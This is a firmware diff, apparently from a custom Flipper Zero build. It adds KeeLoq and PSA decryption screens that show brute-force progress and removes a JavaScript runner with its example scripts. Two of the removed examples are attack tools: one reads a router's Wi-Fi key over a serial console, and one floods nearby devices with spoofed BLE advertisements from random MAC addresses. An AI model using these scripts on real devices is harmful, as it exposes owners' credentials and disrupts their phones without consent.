SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
|
||||
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
|
||||
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_callback(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
SubGhzViewKeeloqDecryptCallback callback,
|
||||
void* context);
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_stats(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
uint8_t progress,
|
||||
uint32_t keys_tested,
|
||||
uint32_t keys_per_sec,
|
||||
uint32_t elapsed_sec,
|
||||
uint32_t eta_sec);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_result(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
bool success,
|
||||
const char* result);
|
||||
|
||||
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_candidates(
|
||||
SubGhzViewKeeloqDecrypt* instance, uint32_t count);
|
||||
@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
// Progress bar outline + fill
|
||||
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
|
||||
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
|
||||
if(fill > 0) {
|
||||
if(fill > 2) {
|
||||
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
|
||||
} else if(fill > 0) {
|
||||
canvas_draw_box(canvas, 5, 17, fill, 8);
|
||||
}
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
@@ -90,19 +92,23 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
// Cancel hint - bottom right
|
||||
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
|
||||
} else {
|
||||
// Result screen
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
if(model->result_str) {
|
||||
elements_multiline_text_aligned(
|
||||
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Decrypted!");
|
||||
|
||||
if(model->result_str) {
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
elements_multiline_text_aligned(canvas, 64, 20, AlignCenter, AlignTop,
|
||||
furi_string_get_cstr(model->result_str));
|
||||
}
|
||||
|
||||
elements_button_center(canvas, "Ok");
|
||||
}
|
||||
}
|
||||
|
||||
static bool subghz_view_psa_decrypt_input(InputEvent* event, void* context) {
|
||||
SubGhzViewPsaDecrypt* instance = (SubGhzViewPsaDecrypt*)context;
|
||||
|
||||
if(event->key == InputKeyBack) {
|
||||
if(event->key == InputKeyBack || event->key == InputKeyOk) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
|
||||
}
|
||||
|
||||
@@ -11,8 +11,6 @@
|
||||
|
||||
#define TAG "LoaderApplications"
|
||||
|
||||
#define JS_RUNNER_APP "JS Runner"
|
||||
|
||||
struct LoaderApplications {
|
||||
FuriThread* thread;
|
||||
void (*closed_cb)(void*);
|
||||
@@ -86,19 +84,13 @@ static bool loader_applications_item_callback(
|
||||
FuriString* item_name) {
|
||||
LoaderApplicationsApp* loader_applications_app = context;
|
||||
furi_assert(loader_applications_app);
|
||||
if(furi_string_end_with(path, ".fap")) {
|
||||
return flipper_application_load_name_and_icon(
|
||||
path, loader_applications_app->storage, icon_ptr, item_name);
|
||||
} else {
|
||||
path_extract_filename(path, item_name, false);
|
||||
memcpy(*icon_ptr, icon_get_frame_data(&I_js_script_10px, 0), FAP_MANIFEST_MAX_ICON_SIZE);
|
||||
return true;
|
||||
}
|
||||
return flipper_application_load_name_and_icon(
|
||||
path, loader_applications_app->storage, icon_ptr, item_name);
|
||||
}
|
||||
|
||||
static bool loader_applications_select_app(LoaderApplicationsApp* loader_applications_app) {
|
||||
const DialogsFileBrowserOptions browser_options = {
|
||||
.extension = ".fap|.js",
|
||||
.extension = ".fap",
|
||||
.skip_assets = true,
|
||||
.icon = &I_unknown_10px,
|
||||
.hide_ext = true,
|
||||
@@ -152,12 +144,7 @@ static int32_t loader_applications_thread(void* p) {
|
||||
view_holder_set_view(app->view_holder, loading_get_view(app->loading));
|
||||
|
||||
while(loader_applications_select_app(app)) {
|
||||
if(!furi_string_end_with(app->file_path, ".js")) {
|
||||
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
|
||||
} else {
|
||||
loader_applications_start_app(
|
||||
app, JS_RUNNER_APP, furi_string_get_cstr(app->file_path));
|
||||
}
|
||||
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
|
||||
}
|
||||
|
||||
// stop loading animation
|
||||
|
||||
@@ -4,7 +4,6 @@ App(
|
||||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"updater_app",
|
||||
"js_app",
|
||||
# "archive",
|
||||
],
|
||||
)
|
||||
|
||||
@@ -1,281 +0,0 @@
|
||||
App(
|
||||
appid="js_app",
|
||||
name="JS Runner",
|
||||
apptype=FlipperAppType.SYSTEM,
|
||||
entry_point="js_app",
|
||||
stack_size=2 * 1024,
|
||||
resources="examples",
|
||||
order=10,
|
||||
provides=["js_app_start"],
|
||||
sources=[
|
||||
"js_app.c",
|
||||
"js_modules.c",
|
||||
"js_thread.c",
|
||||
"js_value.c",
|
||||
"plugin_api/app_api_table.cpp",
|
||||
"views/console_view.c",
|
||||
"modules/js_flipper.c",
|
||||
"modules/js_tests.c",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_app_start",
|
||||
apptype=FlipperAppType.STARTUP,
|
||||
entry_point="js_app_on_system_start",
|
||||
order=110,
|
||||
sources=["js_app.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_event_loop",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_event_loop_ep",
|
||||
requires=["js_app"],
|
||||
sources=[
|
||||
"modules/js_event_loop/js_event_loop.c",
|
||||
"modules/js_event_loop/js_event_loop_api_table.cpp",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gui_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/js_gui.c", "modules/js_gui/js_gui_api_table.cpp"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__loading",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_loading_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/loading.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__empty_screen",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_empty_screen_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/empty_screen.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__submenu",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_submenu_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/submenu.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__text_input",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_text_input_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/text_input.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__number_input",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_number_input_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/number_input.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__button_panel",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_button_panel_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/button_panel.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__popup",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_popup_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/popup.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__button_menu",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_button_menu_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/button_menu.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__menu",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_menu_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/menu.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__vi_list",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_vi_list_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/vi_list.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__byte_input",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_byte_input_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/byte_input.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__text_box",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_text_box_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/text_box.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__dialog",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_dialog_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/dialog.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__file_picker",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gui_file_picker_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/file_picker.c"],
|
||||
fap_libs=["assets"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__widget",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_widget_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/widget.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__icon",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gui_icon_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/icon.c"],
|
||||
fap_libs=["assets"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_notification",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_notification_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_notification.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_badusb",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_badusb_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_badusb.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_serial",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_serial_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_serial.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gpio",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gpio_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gpio.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_math",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_math_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_math.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_storage",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_storage_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_storage.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_vgm",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_vgm_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_subghz",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_subghz_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_subghz/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_infrared",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_infrared_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_infrared/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_blebeacon",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_blebeacon_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_blebeacon.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_usbdisk",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_usbdisk_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_usbdisk/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_i2c",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_i2c_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_i2c.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_spi",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_spi_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_spi.c"],
|
||||
)
|
||||
@@ -1,8 +0,0 @@
|
||||
let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
|
||||
print("len =", arr_1.buffer.byteLength);
|
||||
|
||||
let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6));
|
||||
print("slice len =", arr_2.buffer.byteLength);
|
||||
for (let i = 0; i < arr_2.buffer.byteLength; i++) {
|
||||
print(arr_2[i]);
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
let serial = require("serial");
|
||||
serial.setup("lpuart", 115200);
|
||||
|
||||
// serial.write("\n");
|
||||
serial.write([0x0a]);
|
||||
let console_resp = serial.expect("# ", 1000);
|
||||
if (console_resp === undefined) {
|
||||
print("No CLI response");
|
||||
} else {
|
||||
serial.write("uci\n");
|
||||
let uci_state = serial.expect([": not found", "Usage: "]);
|
||||
if (uci_state === 1) {
|
||||
serial.expect("# ");
|
||||
serial.write("uci show wireless\n");
|
||||
serial.expect(".key=");
|
||||
print("key:", serial.readln());
|
||||
} else {
|
||||
print("uci cmd not found");
|
||||
}
|
||||
}
|
||||
@@ -1,73 +0,0 @@
|
||||
let badusb = require("badusb");
|
||||
let notify = require("notification");
|
||||
let flipper = require("flipper");
|
||||
let eventLoop = require("event_loop");
|
||||
let gui = require("gui");
|
||||
let dialog = require("gui/dialog");
|
||||
|
||||
let views = {
|
||||
dialog: dialog.makeWith({
|
||||
header: "BadUSB demo",
|
||||
text: "Press OK to start",
|
||||
center: "Start",
|
||||
}),
|
||||
};
|
||||
|
||||
badusb.setup({
|
||||
vid: 0xAAAA,
|
||||
pid: 0xBBBB,
|
||||
mfrName: "Flipper",
|
||||
prodName: "Zero",
|
||||
layoutPath: "/ext/badusb/assets/layouts/en-US.kl"
|
||||
});
|
||||
|
||||
eventLoop.subscribe(views.dialog.input, function (_sub, button, eventLoop, gui) {
|
||||
if (button !== "center")
|
||||
return;
|
||||
|
||||
gui.viewDispatcher.sendTo("back");
|
||||
|
||||
if (badusb.isConnected()) {
|
||||
notify.blink("green", "short");
|
||||
print("USB is connected");
|
||||
|
||||
badusb.println("Hello, world!");
|
||||
|
||||
badusb.press("CTRL", "a");
|
||||
badusb.press("CTRL", "c");
|
||||
badusb.press("DOWN");
|
||||
delay(1000);
|
||||
badusb.press("CTRL", "v");
|
||||
delay(1000);
|
||||
badusb.press("CTRL", "v");
|
||||
|
||||
badusb.println("1234", 200);
|
||||
|
||||
badusb.println("Flipper Model: " + flipper.getModel());
|
||||
badusb.println("Flipper Name: " + flipper.getName());
|
||||
badusb.println("Battery level: " + flipper.getBatteryCharge().toString() + "%");
|
||||
|
||||
// Alt+Numpad method works only on Windows!!!
|
||||
badusb.altPrintln("This was printed with Alt+Numpad method!");
|
||||
|
||||
// There's also badusb.print() and badusb.altPrint()
|
||||
// which don't add the return at the end
|
||||
|
||||
notify.success();
|
||||
} else {
|
||||
print("USB not connected");
|
||||
notify.error();
|
||||
}
|
||||
|
||||
// Optional, but allows to unlock usb interface to switch profile
|
||||
badusb.quit();
|
||||
|
||||
eventLoop.stop();
|
||||
}, eventLoop, gui);
|
||||
|
||||
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _item, eventLoop) {
|
||||
eventLoop.stop();
|
||||
}, eventLoop);
|
||||
|
||||
gui.viewDispatcher.switchTo(views.dialog);
|
||||
eventLoop.run();
|
||||
@@ -1,62 +0,0 @@
|
||||
// Script cannot work without blebeacon module so check before
|
||||
checkSdkFeatures(["blebeacon"]);
|
||||
|
||||
let blebeacon = require("blebeacon");
|
||||
|
||||
// Stop if previous background beacon is active
|
||||
if (blebeacon.isActive()) {
|
||||
blebeacon.stop();
|
||||
}
|
||||
|
||||
// Make sure it resets at script exit, true will keep advertising in background
|
||||
// This is false by default, can be omitted
|
||||
blebeacon.keepAlive(false);
|
||||
|
||||
|
||||
let math = require("math");
|
||||
|
||||
let currentIndex = 0;
|
||||
let watchValues = [
|
||||
0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
|
||||
0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15,
|
||||
0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E,
|
||||
0x20, 0xEC, 0xEF
|
||||
];
|
||||
|
||||
function generateRandomMac() {
|
||||
let mac = [];
|
||||
for (let i = 0; i < 6; i++) {
|
||||
mac.push(math.floor(math.random() * 256));
|
||||
}
|
||||
return Uint8Array(mac);
|
||||
}
|
||||
|
||||
function sendRandomModelAdvertisement() {
|
||||
let model = watchValues[currentIndex];
|
||||
|
||||
let packet = [
|
||||
14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43,
|
||||
model
|
||||
];
|
||||
|
||||
let intervalMs = 50;
|
||||
|
||||
// Power level, min interval and max interval are optional
|
||||
blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3);
|
||||
|
||||
blebeacon.setData(Uint8Array(packet));
|
||||
|
||||
blebeacon.start();
|
||||
|
||||
print("Sent data for model ID " + model.toString());
|
||||
|
||||
currentIndex = (currentIndex + 1) % watchValues.length;
|
||||
|
||||
delay(intervalMs);
|
||||
|
||||
blebeacon.stop();
|
||||
}
|
||||
|
||||
while (true) {
|
||||
sendRandomModelAdvertisement();
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
print("print", 1);
|
||||
console.log("log", 2);
|
||||
console.warn("warn", 3);
|
||||
console.error("error", 4);
|
||||
console.debug("debug", 5);
|
||||
@@ -1,9 +0,0 @@
|
||||
print("start");
|
||||
delay(1000)
|
||||
print("1");
|
||||
delay(1000)
|
||||
print("2");
|
||||
delay(1000)
|
||||
print("3");
|
||||
delay(1000)
|
||||
print("end");
|
||||
@@ -1,25 +0,0 @@
|
||||
let eventLoop = require("event_loop");
|
||||
|
||||
// print a string after 1337 milliseconds
|
||||
eventLoop.subscribe(eventLoop.timer("oneshot", 1337), function (_subscription, _item) {
|
||||
print("Hi after 1337 ms");
|
||||
});
|
||||
|
||||
// count up to 5 with a delay of 100ms between increments
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, counter) {
|
||||
print("Counter two:", counter);
|
||||
if (counter === 5)
|
||||
subscription.cancel();
|
||||
return [counter + 1];
|
||||
}, 0);
|
||||
|
||||
// count up to 15 with a delay of 100ms between increments
|
||||
// and stop the program when the count reaches 15
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, event_loop, counter) {
|
||||
print("Counter one:", counter);
|
||||
if (counter === 15)
|
||||
event_loop.stop();
|
||||
return [event_loop, counter + 1];
|
||||
}, eventLoop, 0);
|
||||
|
||||
eventLoop.run();
|
||||
@@ -1,65 +0,0 @@
|
||||
let eventLoop = require("event_loop");
|
||||
let gpio = require("gpio");
|
||||
|
||||
// initialize pins
|
||||
let led = gpio.get("pc3"); // same as `gpio.get(7)`
|
||||
let led2 = gpio.get("pa7"); // same as `gpio.get(2)`
|
||||
let pot = gpio.get("pc0"); // same as `gpio.get(16)`
|
||||
let button = gpio.get("pc1"); // same as `gpio.get(15)`
|
||||
led.init({ direction: "out", outMode: "push_pull" });
|
||||
pot.init({ direction: "in", inMode: "analog" });
|
||||
button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
|
||||
|
||||
// blink led
|
||||
print("Commencing blinking (PC3)");
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 1000), function (_, _item, led, state) {
|
||||
led.write(state);
|
||||
return [led, !state];
|
||||
}, led, true);
|
||||
|
||||
// cycle led pwm
|
||||
print("Commencing PWM (PA7)");
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 10), function (_, _item, led2, state) {
|
||||
led2.pwmWrite(10000, state);
|
||||
return [led2, (state + 1) % 101];
|
||||
}, led2, 0);
|
||||
|
||||
// read potentiometer when button is pressed
|
||||
print("Press the button (PC1)");
|
||||
eventLoop.subscribe(button.interrupt(), function (_, _item, pot) {
|
||||
print("PC0 is at", pot.readAnalog(), "mV");
|
||||
}, pot);
|
||||
|
||||
// the program will just exit unless this is here
|
||||
eventLoop.run();
|
||||
|
||||
// possible pins https://docs.flipper.net/gpio-and-modules#miFsS
|
||||
// "PA7" aka 2
|
||||
// "PA6" aka 3
|
||||
// "PA4" aka 4
|
||||
// "PB3" aka 5
|
||||
// "PB2" aka 6
|
||||
// "PC3" aka 7
|
||||
// "PA14" aka 10
|
||||
// "PA13" aka 12
|
||||
// "PB6" aka 13
|
||||
// "PB7" aka 14
|
||||
// "PC1" aka 15
|
||||
// "PC0" aka 16
|
||||
// "PB14" aka 17
|
||||
|
||||
// possible modes
|
||||
// { direction: "out", outMode: "push_pull" }
|
||||
// { direction: "out", outMode: "open_drain" }
|
||||
// { direction: "out", outMode: "push_pull", altFn: true }
|
||||
// { direction: "out", outMode: "open_drain", altFn: true }
|
||||
// { direction: "in", inMode: "analog" }
|
||||
// { direction: "in", inMode: "plain_digital" }
|
||||
// { direction: "in", inMode: "interrupt", edge: "rising" }
|
||||
// { direction: "in", inMode: "interrupt", edge: "falling" }
|
||||
// { direction: "in", inMode: "interrupt", edge: "both" }
|
||||
// { direction: "in", inMode: "event", edge: "rising" }
|
||||
// { direction: "in", inMode: "event", edge: "falling" }
|
||||
// { direction: "in", inMode: "event", edge: "both" }
|
||||
// all variants support an optional `pull` field which can either be undefined,
|
||||
// "up" or "down"
|
||||
@@ -1,265 +0,0 @@
|
||||
// import modules
|
||||
let eventLoop = require("event_loop");
|
||||
let gui = require("gui");
|
||||
let loadingView = require("gui/loading");
|
||||
let submenuView = require("gui/submenu");
|
||||
let emptyView = require("gui/empty_screen");
|
||||
let textInputView = require("gui/text_input");
|
||||
let byteInputView = require("gui/byte_input");
|
||||
let textBoxView = require("gui/text_box");
|
||||
let dialogView = require("gui/dialog");
|
||||
let filePicker = require("gui/file_picker");
|
||||
let buttonMenuView = require("gui/button_menu");
|
||||
let buttonPanelView = require("gui/button_panel");
|
||||
let menuView = require("gui/menu");
|
||||
let numberInputView = require("gui/number_input");
|
||||
let popupView = require("gui/popup");
|
||||
let viListView = require("gui/vi_list");
|
||||
let widget = require("gui/widget");
|
||||
let icon = require("gui/icon");
|
||||
let flipper = require("flipper");
|
||||
let math = require("math");
|
||||
|
||||
// declare clock widget children
|
||||
let cuteDolphinWithWatch = icon.getBuiltin("DolphinWait_59x54");
|
||||
let jsLogo = icon.getBuiltin("js_script_10px");
|
||||
let stopwatchWidgetElements = [
|
||||
{ element: "string", x: 67, y: 44, align: "bl", font: "big_numbers", text: "00 00" },
|
||||
{ element: "string", x: 77, y: 22, align: "bl", font: "primary", text: "Stopwatch" },
|
||||
{ element: "rect", x: 64, y: 27, w: 28, h: 20, radius: 3, fill: false },
|
||||
{ element: "rect", x: 100, y: 27, w: 28, h: 20, radius: 3, fill: false },
|
||||
{ element: "icon", x: 0, y: 5, iconData: cuteDolphinWithWatch },
|
||||
{ element: "icon", x: 64, y: 13, iconData: jsLogo },
|
||||
{ element: "button", button: "right", text: "Back" },
|
||||
];
|
||||
|
||||
// icons for the button panel
|
||||
let offIcons = [icon.getBuiltin("off_19x20"), icon.getBuiltin("off_hover_19x20")];
|
||||
let powerIcons = [icon.getBuiltin("power_19x20"), icon.getBuiltin("power_hover_19x20")];
|
||||
let settingsIcon = icon.getBuiltin("Settings_14");
|
||||
|
||||
// declare view instances
|
||||
let views = {
|
||||
loading: loadingView.make(),
|
||||
empty: emptyView.make(),
|
||||
keyboard: textInputView.makeWith({
|
||||
header: "Enter your name",
|
||||
minLength: 0,
|
||||
maxLength: 32,
|
||||
defaultText: flipper.getName(),
|
||||
defaultTextClear: true,
|
||||
}),
|
||||
helloDialog: dialogView.make(),
|
||||
bytekb: byteInputView.makeWith({
|
||||
header: "Look ma, I'm a header text!",
|
||||
length: 8,
|
||||
defaultData: Uint8Array([0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88]),
|
||||
}),
|
||||
longText: textBoxView.makeWith({
|
||||
text: "This is a very long string that demonstrates the TextBox view. Use the D-Pad to scroll backwards and forwards.\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse rhoncus est malesuada quam egestas ultrices. Maecenas non eros a nulla eleifend vulputate et ut risus. Quisque in mauris mattis, venenatis risus eget, aliquam diam. Fusce pretium feugiat mauris, ut faucibus ex volutpat in. Phasellus volutpat ex sed gravida consectetur. Aliquam sed lectus feugiat, tristique lectus et, bibendum lacus. Ut sit amet augue eu sapien elementum aliquam quis vitae tortor. Vestibulum quis commodo odio. In elementum fermentum massa, eu pellentesque nibh cursus at. Integer eleifend lacus nec purus elementum sodales. Nulla elementum neque urna, non vulputate massa semper sed. Fusce ut nisi vitae dui blandit congue pretium vitae turpis.",
|
||||
}),
|
||||
stopwatchWidget: widget.makeWith({}, stopwatchWidgetElements),
|
||||
buttonMenu: buttonMenuView.makeWith({
|
||||
header: "Header"
|
||||
}, [
|
||||
{ type: "common", label: "Test" },
|
||||
{ type: "control", label: "Test2" },
|
||||
]),
|
||||
buttonPanel: buttonPanelView.makeWith({
|
||||
matrixSizeX: 2,
|
||||
matrixSizeY: 2,
|
||||
}, [
|
||||
{ type: "button", x: 0, y: 0, matrixX: 0, matrixY: 0, icon: offIcons[0], iconSelected: offIcons[1] },
|
||||
{ type: "button", x: 30, y: 30, matrixX: 1, matrixY: 1, icon: powerIcons[0], iconSelected: powerIcons[1] },
|
||||
{ type: "label", x: 0, y: 50, text: "Label", font: "primary" },
|
||||
]),
|
||||
menu: menuView.makeWith({}, [
|
||||
{ label: "One", icon: settingsIcon },
|
||||
{ label: "Two", icon: settingsIcon },
|
||||
{ label: "three", icon: settingsIcon },
|
||||
]),
|
||||
numberKbd: numberInputView.makeWith({
|
||||
header: "Number input",
|
||||
defaultValue: 100,
|
||||
minValue: 0,
|
||||
maxValue: 200,
|
||||
}),
|
||||
popup: popupView.makeWith({
|
||||
header: "Hello",
|
||||
text: "I'm going to be gone\nin 2 seconds",
|
||||
}),
|
||||
viList: viListView.makeWith({}, [
|
||||
{ label: "One", variants: ["1", "1.0"] },
|
||||
{ label: "Two", variants: ["2", "2.0"] },
|
||||
]),
|
||||
demos: submenuView.makeWith({
|
||||
header: "Choose a demo",
|
||||
}, [
|
||||
"Hourglass screen",
|
||||
"Empty screen",
|
||||
"Text input & Dialog",
|
||||
"Byte input",
|
||||
"Text box",
|
||||
"File picker",
|
||||
"Widget",
|
||||
"Button menu",
|
||||
"Button panel",
|
||||
"Menu",
|
||||
"Number input",
|
||||
"Popup",
|
||||
"Var. item list",
|
||||
"Exit app",
|
||||
]),
|
||||
};
|
||||
|
||||
// Enable illegal filename symbols since we're not choosing filenames, gives more flexibility
|
||||
// Not available in all firmwares, good idea to check if it is supported
|
||||
if (doesSdkSupport(["gui-textinput-illegalsymbols"])) {
|
||||
views.keyboard.set("illegalSymbols", true);
|
||||
}
|
||||
|
||||
// demo selector
|
||||
eventLoop.subscribe(views.demos.chosen, function (_sub, index, gui, eventLoop, views) {
|
||||
if (index === 0) {
|
||||
gui.viewDispatcher.switchTo(views.loading);
|
||||
// the loading view captures all back events, preventing our navigation callback from firing
|
||||
// switch to the demo chooser after a second
|
||||
eventLoop.subscribe(eventLoop.timer("oneshot", 1000), function (_sub, _, gui, views) {
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
} else if (index === 1) {
|
||||
gui.viewDispatcher.switchTo(views.empty);
|
||||
} else if (index === 2) {
|
||||
gui.viewDispatcher.switchTo(views.keyboard);
|
||||
} else if (index === 3) {
|
||||
gui.viewDispatcher.switchTo(views.bytekb);
|
||||
} else if (index === 4) {
|
||||
